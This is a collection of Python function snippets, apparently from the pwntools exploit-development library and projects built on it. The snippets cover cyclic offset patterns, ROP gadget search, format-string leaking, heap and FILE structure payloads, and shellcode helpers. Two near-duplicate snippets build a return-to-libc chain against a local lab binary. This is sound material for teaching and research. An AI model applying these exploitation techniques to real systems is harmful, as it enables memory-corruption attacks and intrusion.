def cyclic_metasploit_find(subseq, sets=None): """cyclic_metasploit_find(subseq, sets = [ string.ascii_uppercase, string.ascii_lowercase, string.digits ]) -> int Calculates the position of a substring into a Metasploit Pattern sequence. Arguments: subseq: The subsequence to look for. This can be a string or an integer. If an integer is provided it will be packed as a little endian integer. sets: List of strings to generate the sequence over. Examples: >>> cyclic_metasploit_find(cyclic_metasploit(1000)[514:518]) 514 >>> cyclic_metasploit_find(0x61413161) 4 """ sets = sets or [ string.ascii_uppercase, string.ascii_lowercase, string.digits ] if isinstance(subseq, (int, long)): subseq = packing.pack(subseq, 'all', 'little', False) return _gen_find(subseq, metasploit_pattern(sets))
def struntil(self, v): r""" Payload for stuff till 'v' where 'v' is a structure member. This payload includes 'v' as well. Arguments: v(string) The name of the field uptil which the payload should be created. Example: Payload for data uptil _IO_buf_end >>> context.clear(arch='amd64') >>> fileStr = FileStructure(0xdeadbeef) >>> payload = fileStr.struntil("_IO_buf_end") >>> payload b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' """ if v not in self.vars_: return b'' structure = b'' for val in self.vars_: if isinstance(self.__getattr__(val), bytes): structure += self.__getattr__(val).ljust( context.bytes, b'\x00') else: structure += pack(self.__getattr__(val), self.length[val] * 8) if val == v: break return structure[:-1]
def __str__(self): frame = "" with context.local(arch=self.arch): for register_offset in sorted(self.register_offsets): if len(frame) < register_offset: frame += "\x00"*(register_offset - len(frame)) frame += pack(self[self.registers[register_offset]]) return frame
def __bytes__(self): frame = b"" with context.local(arch=self.arch): for register_offset in sorted(self.register_offsets): if len(frame) < register_offset: frame += b"\x00" * (register_offset - len(frame)) frame += pack(self[self.registers[register_offset]]) return frame
def signed_inner(*args): args = [ unpack(x, 'all', endianness='little', sign=True) if n not in skipargs else x for n, x in enumerate(args) ] ret = func(*args) return ret if skipret else pack( ret, 'all', endianness='little', sign=True)
def unsigned_inner(*args): # unpack the argumts as unsigned (unless they are ignored) args = [ unpack(x, 'all', endianness='little', sign=False) if n not in skipargs else x for n, x in enumerate(args) ] ret = func(*args) return ret if skipret else pack(ret, 'all', endianness='little')
def __bytes__(self): structure = b'' for val in self.vars_: if isinstance(self.__getattr__(val), bytes): structure += self.__getattr__(val).ljust(context.bytes, b'\x00') else: structure += pack(self.__getattr__(val), self.length[val]*8) return structure
def main(): args = parser.parse_args() alphabet = args.alphabet subsize = args.length if args.lookup: pat = args.lookup if pat.startswith('0x'): pat = packing.pack(int(pat[2:], 16), subsize * 8, 'little', 'unsigned') elif pat.isdigit(): pat = packing.pack(int(pat, 10), subsize * 8, 'little', 'unsigned') if len(pat) != 4: log.critical('Subpattern must be 4 bytes') sys.exit(1) if not all(c in alphabet for c in pat): log.critical( 'Pattern contains characters not present in the alphabet') sys.exit(1) offset = cyclic.cyclic_find(pat, alphabet, subsize) if offset == -1: log.critical('Given pattern does not exist in cyclic pattern') sys.exit(1) else: print offset else: want = args.count result = cyclic.cyclic(want, alphabet, subsize) got = len(result) if got < want: log.failure("Alphabet too small (max length = %i)" % got) sys.stdout.write(result) if sys.stdout.isatty(): sys.stdout.write('\n')
def find_offset(self): marker = cyclic(20) for off in range(1, 1000): leak = self.leak_stack(off, marker) leak = pack(leak) pad = cyclic_find(leak) if pad >= 0 and pad < 20: return off, pad else: log.error("Could not find offset to format string on stack") return None, None
def _exec_conditional_assignment(self, stmt): left = stmt.left.name rigth = stmt.right conditions = stmt.conditions if left not in self.variables: self.log.warning( f"Variable {left} initialized in conditional statement. Defaulting it to 0." ) self.variables[left] = pack(0, "all") if all(self._eval_condition(x) for x in conditions): self.variables[left] = self._eval_expression(rigth)
def render_body(context, value, **pageargs): __M_caller = context.caller_stack._push_frame() try: __M_locals = __M_dict_builtin(pageargs=pageargs, value=value) int = context.get('int', UNDEFINED) isinstance = context.get('isinstance', UNDEFINED) repr = context.get('repr', UNDEFINED) long = context.get('long', UNDEFINED) __M_writer = context.writer() from pwnlib.util import packing __M_locals_builtin_stored = __M_locals_builtin() __M_locals.update( __M_dict_builtin([(__M_key, __M_locals_builtin_stored[__M_key]) for __M_key in ['packing'] if __M_key in __M_locals_builtin_stored])) __M_writer(u'\n') from pwnlib.shellcraft import amd64 __M_locals_builtin_stored = __M_locals_builtin() __M_locals.update( __M_dict_builtin([(__M_key, __M_locals_builtin_stored[__M_key]) for __M_key in ['amd64'] if __M_key in __M_locals_builtin_stored])) __M_writer(u'\n') import re __M_locals_builtin_stored = __M_locals_builtin() __M_locals.update( __M_dict_builtin([(__M_key, __M_locals_builtin_stored[__M_key]) for __M_key in ['re'] if __M_key in __M_locals_builtin_stored])) __M_writer(u'\n') __M_writer(u'\n') __M_writer(u'\n\n') if isinstance(value, (int, long)): __M_writer(u' /* push ') __M_writer(unicode(repr(value))) __M_writer(u' */\n ') __M_writer( unicode( re.sub( r'^\s*/.*\n', '', amd64.pushstr(packing.pack(value, 64, 'little', True), False), 1))) __M_writer(u'\n') else: __M_writer(u' push ') __M_writer(unicode(value)) __M_writer(u'\n') return '' finally: context.caller_stack._pop_frame()
def main(): args = parser.parse_args() alphabet = args.alphabet subsize = args.length if args.lookup: pat = args.lookup if pat.startswith('0x'): pat = packing.pack(int(pat[2:], 16), subsize*8, 'little', False) elif pat.isdigit(): pat = packing.pack(int(pat, 10), subsize*8, 'little', False) if len(pat) != subsize: log.critical('Subpattern must be %d bytes' % subsize) sys.exit(1) if not all(c in alphabet for c in pat): log.critical('Pattern contains characters not present in the alphabet') sys.exit(1) offset = cyclic.cyclic_find(pat, alphabet, subsize) if offset == -1: log.critical('Given pattern does not exist in cyclic pattern') sys.exit(1) else: print offset else: want = args.count result = cyclic.cyclic(want, alphabet, subsize) got = len(result) if got < want: log.failure("Alphabet too small (max length = %i)" % got) sys.stdout.write(result) if sys.stdout.isatty(): sys.stdout.write('\n')
def __str__(self): pword = lambda x : pack(x, self.word, 'little', False) payload = pword(self.prev_size) if self.size == -1: assert self.norm_size >= 0 self.size = self.setBit(self.norm_size, 0, self.P) self.size = self.setBit(self.size, 1, self.M) self.size = self.setBit(self.size, 2, self.A) payload += pword(self.size) payload += pword(self.fd) + pword(self.bk) payload += pword(self.fd_nextsize) + pword(self.bk_nextsize) self.size = -1 return payload
def padding(self, **kwargs): if len(kwargs) > 1: raise ValueError("[-] Only one argument is allowed\n") try: self.__padding = cyclic_metasploit(kwargs["length"]) except KeyError: try: target_ = pack(kwargs["match"]) match_ = cyclic_metasploit_find(target_, n=len(target_)) print(f"[+] Found pattern {target_} at index {match_}\n") self.__padding = cyclic_metasploit(match_) except KeyError: raise ValueError( "[-] Only 'match' and 'length' are acceptable arguments\n") print(f"[+] Padding => {self.__padding}\n")
def cksum(data): """cksum(data) -> int Calculates the same checksum as returned by the UNIX-tool ``cksum``. Arguments: data(str): The data to checksum. Example: >>> print(cksum(b'123456789')) 930766865 """ l = len(data) data += packing.pack(l, 'all', endian='little', sign=False) return crc.crc_32_cksum(data)
def cksum(data): """cksum(data) -> int Calculates the same checksum as returned by the UNIX-tool ``cksum``. Arguments: data(str): The data to checksum. Example: >>> print cksum('123456789') 930766865 """ l = len(data) data += packing.pack(l, 'all', endian='little', sign=False) return crc.crc_32_posix(data)
def search_iter(self, move=None, regs=None): """ Iterate through all gadgets which move the stack pointer by *at least* ``move`` bytes, and which allow you to set all registers in ``regs``. """ move = move or 0 regs = set(regs or ()) for addr, gadget in self.gadgets.items(): addr_bytes = set(pack(gadget.address)) if addr_bytes & self._badchars: continue if gadget.insns[-1] != 'ret': continue if gadget.move < move: continue if not (regs <= set(gadget.regs)): continue yield gadget
def main(): # payload = "" padChar2 = b"\x90" padSize = 32 # Initial payload hello = "\nHello, world!\n\n" # We are using putchar function from libc # as example to chain multiple function calls/gadgets # For each character in our phrase, there is putchar call payload = padChar2 * padSize for char in hello: # Generate payload for printing 'Hello, world!' # payload += p32(libc_entry + offset_putchar) # function p32 changes payload += p32(libc_entry + offset_putchar) # memoryaddress to correct format (reversed and opcoded) # whattodo after = pop/ret gadget payload += p32(libc_entry + offset_pr) # pwntools function pack, is packing our input to 32-bit memory # address with correct syntax. Ord is changing character to ASCII code payload += pack( ord(char), 32, 'little', # function arguments False).replace(b"\x00", b"\xff") # Replacing nulls with '\xff', which are generated in by packing to # fullfil 32-bit size payload += p32(libc_entry + offset_pr) payload += p32(0xffffffff) # Some address, we do not care, we are exiting # so value does not matter. payload += p32(libc_entry + offset_exit) # Writing payload to txt file just in case, # if we want to run program without script f = open("payload.txt", "w+") f.write(str(payload)) f.close # C program is using payload as args try: p = process(["../vuln_progs/Overflow", payload]) log.info(p.recvall(timeout=0.5)) except PwnlibException: print("Nulls in arguments.")
def cyclic_find(subseq, alphabet=string.ascii_lowercase, n=None): """cyclic_find(subseq, alphabet = string.ascii_lowercase, n = None) -> int Calculates the position of a substring into a De Bruijn sequence. .. todo: "Calculates" is an overstatement. It simply traverses the list. There exists better algorithms for this, but they depend on generating the De Bruijn sequence in another fashion. Somebody should look at it: https://www.sciencedirect.com/science/article/pii/S0012365X00001175 Arguments: subseq: The subsequence to look for. This can be a string, a list or an integer. If an integer is provided it will be packed as a little endian integer. alphabet: List or string to generate the sequence over. n(int): The length of subsequences that should be unique. Examples: >>> cyclic_find(cyclic(1000)[514:518]) 514 >>> cyclic_find(0x61616162) 4 """ if isinstance(subseq, (int, long)): width = 'all' if n is None else n * 8 subseq = packing.pack(subseq, width, 'little', False) if n is None and len(subseq) != 4: log.warn_once("cyclic_find() expects 4-byte subsequences by default, you gave %r\n" % subseq \ + "Unless you specified cyclic(..., n=%i), you probably just want the first 4 bytes.\n" % len(subseq) \ + "Truncating the data at 4 bytes. Specify cyclic_find(..., n=%i) to override this." % len(subseq)) subseq = subseq[:4] if any(c not in alphabet for c in subseq): return -1 n = n or len(subseq) return _gen_find(subseq, de_bruijn(alphabet, n))
def cyclic_find(subseq, alphabet = string.ascii_lowercase, n = None): """cyclic_find(subseq, alphabet = string.ascii_lowercase, n = None) -> int Calculates the position of a substring into a De Bruijn sequence. .. todo: "Calculates" is an overstatement. It simply traverses the list. There exists better algorithms for this, but they depend on generating the De Bruijn sequence in another fashion. Somebody should look at it: https://www.sciencedirect.com/science/article/pii/S0012365X00001175 Arguments: subseq: The subsequence to look for. This can be a string, a list or an integer. If an integer is provided it will be packed as a little endian integer. alphabet: List or string to generate the sequence over. n(int): The length of subsequences that should be unique. Examples: >>> cyclic_find(cyclic(1000)[514:518]) 514 >>> cyclic_find(0x61616162) 4 """ if isinstance(subseq, (int, long)): width = 'all' if n is None else n * 8 subseq = packing.pack(subseq, width, 'little', False) if n is None and len(subseq) != 4: log.warn_once("cyclic_find() expects 4-byte subsequences by default, you gave %r\n" % subseq \ + "Unless you specified cyclic(..., n=%i), you probably just want the first 4 bytes.\n" % len(subseq) \ + "Truncating the data at 4 bytes. Specify cyclic_find(..., n=%i) to override this." % len(subseq)) subseq = subseq[:4] if any(c not in alphabet for c in subseq): return -1 n = n or len(subseq) return _gen_find(subseq, de_bruijn(alphabet, n))
def offset(self, **kwargs): try: length_ = kwargs['length'] self.__offset = bytes(length_ * 'x', self.__encoding) except KeyError: try: target_ = kwargs['match'] if type(target_) == 'int': target_ = pack(target_) elif type(target_) == 'str': target_ = bytes(target_, self.__encoding) length_ = cyclic_find(target_, n=len(target_)) - len( self.__padding) - len(self.__eip) self.__offset = bytes(length_ * 'x', self.__encoding) print(f"[+] Offset => {self.__offset}\n") except KeyError: raise ValueError( "[-] Only 'length' and 'match' are valid arguments\n")
def xor_pair(data, avoid=b'\x00\n'): """xor_pair(data, avoid = '\\x00\\n') -> None or (str, str) Finds two strings that will xor into a given string, while only using a given alphabet. Arguments: data (str): The desired string. avoid: The list of disallowed characters. Defaults to nulls and newlines. Returns: Two strings which will xor to the given string. If no such two strings exist, then None is returned. Example: >>> xor_pair(b"test") (b'\\x01\\x01\\x01\\x01', b'udru') """ if isinstance(data, six.integer_types): data = packing.pack(data) if not isinstance(avoid, (bytes, bytearray)): avoid = avoid.encode('utf-8') avoid = bytearray(avoid) alphabet = list(packing._p8lu(n) for n in range(256) if n not in avoid) res1 = b'' res2 = b'' for c1 in bytearray(data): if context.randomize: random.shuffle(alphabet) for c2 in alphabet: c3 = packing._p8lu(c1 ^ packing.u8(c2)) if c3 in alphabet: res1 += c2 res2 += c3 break else: return None return res1, res2
def main(): # payload = "" padChar2 = "\x90" padSize = 32 # Initial payload hello = "\nHello, world!\n\n" # We are using putchar function from libc # as example to chain multiple function calls/gadgets # For each character in our phrase, there is putchar call payload = padChar2 * padSize for char in hello: # Generate payload for printing 'Hello, world!' # payload += p32(libc_entry + offset_putchar) # function p32 changes payload += p32(libc_entry + offset_putchar) # memoryaddress to correct format (reversed and opcoded) # whattodo after = pop/ret gadget payload += p32(libc_entry + offset_pr) # pwntools function pack, is packing our input to 32-bit memory # address with correct syntax. Ord is changing character to ASCII code payload += pack(ord(char), 32, 'little', # function arguments False).replace("\x00", "\xff") # Replacing nulls with '\xff', which are generated in by packing to # fullfil 32-bit size payload += p32(libc_entry + offset_pr) payload += p32(0xffffffff) # Some address, we do not care, we are exiting # so value does not matter. payload += p32(libc_entry + offset_exit) # Writing payload to txt file just in case, # if we want to run program without script f = open("payload.txt", "w+") f.write(payload) f.close # C program is using payload as args try: p = process(["../vuln_progs/Overflow", payload]) log.info(p.recvall(timeout=0.5)) except PwnlibException: print("Nulls in arguments.")
def cyclic_metasploit_find(subseq, length=20280, n=None, sets=None): """cyclic_metasploit_find(subseq, length, n = None, sets = [ string.ascii_uppercase, string.ascii_lowercase, string.digits ]) -> int Calculates the position of a substring into a Metasploit Pattern sequence. Arguments: subseq: The subsequence to look for. This can be a string or an integer. If an integer is provided it will be packed as a little endian integer. length(int): The lenght of the pattern to find unuque sequence over n(int): The length of subsequences that should be unique. sets: List of strings to generate the sequence over. Examples: >>> cyclic_metasploit_find(cyclic_metasploit(Aa0A)) 514 >>> cyclic_metasploit_find("Aa0A",50000) [*] Offset found at: 0 [*] Offset found at: 20280 [*] Offset found at: 40560 """ sets = sets or [ string.ascii_uppercase, string.ascii_lowercase, string.digits ] if isinstance(subseq, (int, long)): subseq = packing.pack(subseq, 'all', 'little', False) if n is None and len(subseq) != 4: log.warn_once("cyclic_find() expects 4-byte subsequences by default, you gave %r\n" % subseq \ + "Unless you specified cyclic(..., n=%i), you probably just want the first 4 bytes.\n" % len(subseq) \ + "Truncating the data at 4 bytes. Specify cyclic_find(..., n=%i) to override this." % len(subseq)) subseq = subseq[:4] offsets_found = _gen_find_metasploit(subseq, length, metasploit_pattern(sets)) for offset in offsets_found: log.info("Offset found at: %s" % (offset)) return offsets_found
def _leaker(self, addr): # Hack: elfheaders often start at offset 0 in a page, # but we often can't leak addresses containing null bytes, # and the page below elfheaders is often not mapped. # Thus the solution to this problem is to check if the next 3 bytes are # "ELF" and if so we lie and leak "\x7f" # unless it is leaked otherwise. if addr & 0xfff == 0 and self.leaker._leak(addr + 1, 3, False) == b"ELF": return b"\x7f" fmtstr = randoms(self.padlen).encode() + pack( addr) + b"START%%%d$sEND" % self.offset leak = self.execute_fmt(fmtstr) leak = re.findall(br"START(.*)END", leak, re.MULTILINE | re.DOTALL)[0] leak += b"\x00" return leak
def xor_pair(data, avoid='\x00\n'): """xor_pair(data, avoid = '\\x00\\n') -> None or (str, str) Finds two strings that will xor into a given string, while only using a given alphabet. Arguments: data (str): The desired string. avoid: The list of disallowed characters. Defaults to nulls and newlines. Returns: Two strings which will xor to the given string. If no such two strings exist, then None is returned. Example: >>> xor_pair("test") ('\\x01\\x01\\x01\\x01', 'udru') """ if isinstance(data, (int, long)): data = packing.pack(data) alphabet = list(chr(n) for n in range(256) if chr(n) not in avoid) res1 = '' res2 = '' for c1 in data: if context.randomize: random.shuffle(alphabet) for c2 in alphabet: c3 = chr(ord(c1) ^ ord(c2)) if c3 in alphabet: res1 += c2 res2 += c3 break else: return None return res1, res2
def xor_pair(data, avoid = '\x00\n'): """xor_pair(data, avoid = '\\x00\\n') -> None or (str, str) Finds two strings that will xor into a given string, while only using a given alphabet. Arguments: data (str): The desired string. avoid: The list of disallowed characters. Defaults to nulls and newlines. Returns: Two strings which will xor to the given string. If no such two strings exist, then None is returned. Example: >>> xor_pair("test") ('\\x01\\x01\\x01\\x01', 'udru') """ if isinstance(data, (int, long)): data = packing.pack(data) alphabet = list(chr(n) for n in range(256) if chr(n) not in avoid) res1 = '' res2 = '' for c1 in data: if context.randomize: random.shuffle(alphabet) for c2 in alphabet: c3 = chr(ord(c1) ^ ord(c2)) if c3 in alphabet: res1 += c2 res2 += c3 break else: return None return res1, res2
def sockaddr(host, port, network='ipv4'): """sockaddr(host, port, network = 'ipv4') -> (data, length, family) Creates a sockaddr_in or sockaddr_in6 memory buffer for use in shellcode. Arguments: host (str): Either an IP address or a hostname to be looked up. port (int): TCP/UDP port. network (str): Either 'ipv4' or 'ipv6'. Returns: A tuple containing the sockaddr buffer, length, and the address family. """ address_family = {'ipv4': socket.AF_INET, 'ipv6': socket.AF_INET6}[network] for family, _, _, _, ip in socket.getaddrinfo(host, None, address_family): ip = ip[0] if family == address_family: break else: log.error("Could not find %s address for %r" % (network, host)) info = socket.getaddrinfo(host, None, address_family) host = socket.inet_pton(address_family, ip) sockaddr = p16(address_family) sockaddr += pack( port, word_size=16, endianness='big') #Port should be big endian = network byte order length = 0 if network == 'ipv4': sockaddr += host length = 16 # Save ten bytes by skipping two 'push 0' else: sockaddr += p32(0xffffffff) # Save three bytes 'push -1' vs 'push 0' sockaddr += host length = len(sockaddr) + 4 # Save five bytes 'push 0' return (sockaddr, length, getattr(address_family, "name", address_family))
def cyclic_metasploit_find(subseq, sets = None): """cyclic_metasploit_find(subseq, sets = [ string.ascii_uppercase, string.ascii_lowercase, string.digits ]) -> int Calculates the position of a substring into a Metasploit Pattern sequence. Arguments: subseq: The subsequence to look for. This can be a string or an integer. If an integer is provided it will be packed as a little endian integer. sets: List of strings to generate the sequence over. Examples: >>> cyclic_metasploit_find(cyclic_metasploit(1000)[514:518]) 514 >>> cyclic_metasploit_find(0x61413161) 4 """ sets = sets or [ string.ascii_uppercase, string.ascii_lowercase, string.digits ] if isinstance(subseq, (int, long)): subseq = packing.pack(subseq, 'all', 'little', False) return _gen_find(subseq, metasploit_pattern(sets))
def field_compare(self, address, obj, expected): """field_compare(address, field, expected) ==> bool Leak a field from a structure, with an expected value. As soon as any mismatch is found, stop leaking the structure. Arguments: address(int): Base address to calculate offsets from field(obj): Instance of a ctypes field expected(int,str): Expected value Return Value: The type of the return value will be dictated by the type of ``field``. """ if not isinstance(expected, (int, str)): raise TypeError("Expected value must be an int or str") if isinstance(expected, int): expected = pack(expected, bytes=obj.size) assert obj.size == len(expected) return self.compare(address + obj.offset, expected)
def __load(self): """Load all ROP gadgets for the selected ELF files""" # # We accept only instructions that look like these. # # - leave # - pop reg # - add $sp, value # - ret # # Currently, ROPgadget does not detect multi-byte "C2" ret. # https://github.com/JonathanSalwan/ROPgadget/issues/53 # pop = re.compile(r'^pop (.{3})') add = re.compile(r'^add [er]sp, (\S+)$') ret = re.compile(r'^ret$') leave = re.compile(r'^leave$') int80 = re.compile(r'int +0x80') syscall = re.compile(r'^syscall$') sysenter = re.compile(r'^sysenter$') # # Validation routine # # >>> valid('pop eax') # True # >>> valid('add rax, 0x24') # False # >>> valid('add esp, 0x24') # True # valid = lambda insn: any( map(lambda pattern: pattern.match(insn), [pop, add, ret, leave, int80, syscall, sysenter])) # # Currently, ropgadget.args.Args() doesn't take any arguments, and pulls # only from sys.argv. Preserve it through this call. We also # monkey-patch sys.stdout to suppress output from ropgadget. # argv = sys.argv stdout = sys.stdout class Wrapper: def __init__(self, fd): self._fd = fd def write(self, s): pass def __getattr__(self, k): return self._fd.__getattribute__(k) gadgets = {} for elf in self.elfs: cache = self.__cache_load(elf) if cache: gadgets.update(cache) continue log.info_once('Loading gadgets for %r' % elf.path) try: sys.stdout = Wrapper(sys.stdout) import ropgadget sys.argv = [ 'ropgadget', '--binary', elf.path, '--only', 'sysenter|syscall|int|add|pop|leave|ret', '--nojop' ] args = ropgadget.args.Args().getArgs() core = ropgadget.core.Core(args) core.do_binary(elf.path) core.do_load(0) finally: sys.argv = argv sys.stdout = stdout elf_gadgets = {} for gadget in core._Core__gadgets: address = gadget['vaddr'] - elf.load_addr + elf.address insns = [g.strip() for g in gadget['gadget'].split(';')] if all(map(valid, insns)): elf_gadgets[address] = insns self.__cache_save(elf, elf_gadgets) gadgets.update(elf_gadgets) # # For each gadget we decided to keep, find out how much it moves the stack, # and log which registers it modifies. # self.gadgets = {} self.pivots = {} frame_regs = {4: ['ebp', 'esp'], 8: ['rbp', 'rsp']}[context.bytes] for addr, insns in gadgets.items(): # Filter out gadgets by address against badchars if set(pack(addr)) & self._badchars: continue sp_move = 0 regs = [] for insn in insns: if pop.match(insn): regs.append(pop.match(insn).group(1)) sp_move += context.bytes elif add.match(insn): sp_move += int(add.match(insn).group(1), 16) elif ret.match(insn): sp_move += context.bytes elif leave.match(insn): # # HACK: Since this modifies ESP directly, this should # never be returned as a 'normal' ROP gadget that # simply 'increments' the stack. # # As such, the 'move' is set to a very large value, # to prevent .search() from returning it unless $sp # is specified as a register. # sp_move += 9999999999 regs += frame_regs # Permit duplicates, because blacklisting bytes in the gadget # addresses may result in us needing the dupes. self.gadgets[addr] = Gadget(addr, insns, regs, sp_move) # Don't use 'pop esp' for pivots if not set(['rsp', 'esp']) & set(regs): self.pivots[sp_move] = addr leave = self.search(regs=frame_regs, order='regs') if leave and leave.regs != frame_regs: leave = None self.leave = leave
def pack(self, address, data, *a, **kw): return self.write(address, packing.pack(data, *a, **kw)) def u64(self, address, *a, **kw): return packing.u64(self.read(address, 8), *a, **kw)
def okay(self, s, *a, **kw): if isinstance(s, int): s = packing.pack(s, *a, **kw) return '\0' not in s and '\n' not in s
def _parse_stack(self): # Get a copy of the stack mapping stack = self.stack if not stack: return # AT_EXECFN is the start of the filename, e.g. '/bin/sh' # Immediately preceding is a NULL-terminated environment variable string. # We want to find the beginning of it if self.at_execfn: address = self.at_execfn-1 else: log.debug('No AT_EXECFN') address = stack.stop address -= 2*self.bytes address -= 1 address = stack.rfind('\x00', None, address) address += 1 # Sanity check! try: assert stack[address] == '\x00' except AssertionError: # Something weird is happening. Just don't touch it. log.debug("Something is weird") return except ValueError: # If the stack is not actually present in the coredump, we can't # read from the stack. This will fail as: # ValueError: 'seek out of range' log.debug("ValueError") return # address is currently set to the NULL terminator of the last # environment variable. address = stack.rfind('\x00', None, address) # We've found the beginning of the last environment variable. # We should be able to search up the stack for the envp[] array to # find a pointer to this address, followed by a NULL. last_env_addr = address + 1 p_last_env_addr = stack.find(pack(last_env_addr), None, last_env_addr) # Sanity check that we did correctly find the envp NULL terminator. envp_nullterm = p_last_env_addr+context.bytes assert self.unpack(envp_nullterm) == 0 # We've successfully located the end of the envp[] array. # # It comes immediately after the argv[] array, which itself # is NULL-terminated. # # Now let's find the end of argv p_end_of_argv = stack.rfind(pack(0), None, p_last_env_addr) start_of_envp = p_end_of_argv + self.bytes # Now we can fill in the environment env_pointer_data = stack[start_of_envp:p_last_env_addr+self.bytes] for pointer in unpack_many(env_pointer_data): end = stack.find('=', last_env_addr) if pointer in stack and end in stack: name = stack[pointer:end] self.env[name] = pointer # May as well grab the arguments off the stack as well. # argc comes immediately before argv[0] on the stack, but # we don't know what argc is. # # It is unlikely that argc is a valid stack address. address = p_end_of_argv - self.bytes while self.unpack(address) in stack: address -= self.bytes # address now points at argc self.argc = self.unpack(address) # we can extract all of the arguments as well self.argv = unpack_many(stack[address + self.bytes: p_end_of_argv])
def _parse_stack(self): # Get a copy of the stack mapping stack = self.stack if not stack: return # AT_EXECFN is the start of the filename, e.g. '/bin/sh' # Immediately preceding is a NULL-terminated environment variable string. # We want to find the beginning of it if self.at_execfn: address = self.at_execfn - 1 else: log.debug('No AT_EXECFN') address = stack.stop address -= 2 * self.bytes address -= 1 address = stack.rfind('\x00', None, address) address += 1 # Sanity check! try: assert stack[address] == '\x00' except AssertionError: # Something weird is happening. Just don't touch it. log.debug("Something is weird") return except ValueError: # If the stack is not actually present in the coredump, we can't # read from the stack. This will fail as: # ValueError: 'seek out of range' log.debug("ValueError") return # address is currently set to the NULL terminator of the last # environment variable. address = stack.rfind('\x00', None, address) # We've found the beginning of the last environment variable. # We should be able to search up the stack for the envp[] array to # find a pointer to this address, followed by a NULL. last_env_addr = address + 1 p_last_env_addr = stack.find(pack(last_env_addr), None, last_env_addr) if p_last_env_addr < 0: # Something weird is happening. Just don't touch it. log.warn_once("Found bad environment at %#x", last_env_addr) return # Sanity check that we did correctly find the envp NULL terminator. envp_nullterm = p_last_env_addr + context.bytes assert self.unpack(envp_nullterm) == 0 # We've successfully located the end of the envp[] array. # # It comes immediately after the argv[] array, which itself # is NULL-terminated. # # Now let's find the end of argv p_end_of_argv = stack.rfind(pack(0), None, p_last_env_addr) start_of_envp = p_end_of_argv + self.bytes # Now we can fill in the environment env_pointer_data = stack[start_of_envp:p_last_env_addr + self.bytes] for pointer in unpack_many(env_pointer_data): # If the stack is corrupted, the pointer will be outside of # the stack. if pointer not in stack: continue try: name_value = self.string(pointer) except Exception: continue name, value = name_value.split('=', 1) # "end" points at the byte after the null terminator end = pointer + len(name_value) + 1 # Do not mark things as environment variables if they point # outside of the stack itself, or we had to cross into a different # mapping (after the stack) to read it. # This may occur when the entire stack is filled with non-NUL bytes, # and we NULL-terminate on a read failure in .string(). if end not in stack: continue self.env[name] = pointer + len(name) + len('=') # May as well grab the arguments off the stack as well. # argc comes immediately before argv[0] on the stack, but # we don't know what argc is. # # It is unlikely that argc is a valid stack address. address = p_end_of_argv - self.bytes while self.unpack(address) in stack: address -= self.bytes # address now points at argc self.argc = self.unpack(address) # we can extract all of the arguments as well self.argv = unpack_many(stack[address + self.bytes:p_end_of_argv])
def pack(self, address, data, *a, **kw): """Writes a packed integer ``data`` to the specified ``address``""" return self.write(address, packing.pack(data, *a, **kw))
def pack(self, *a, **kw): return self.send(packing.pack(*a, **kw))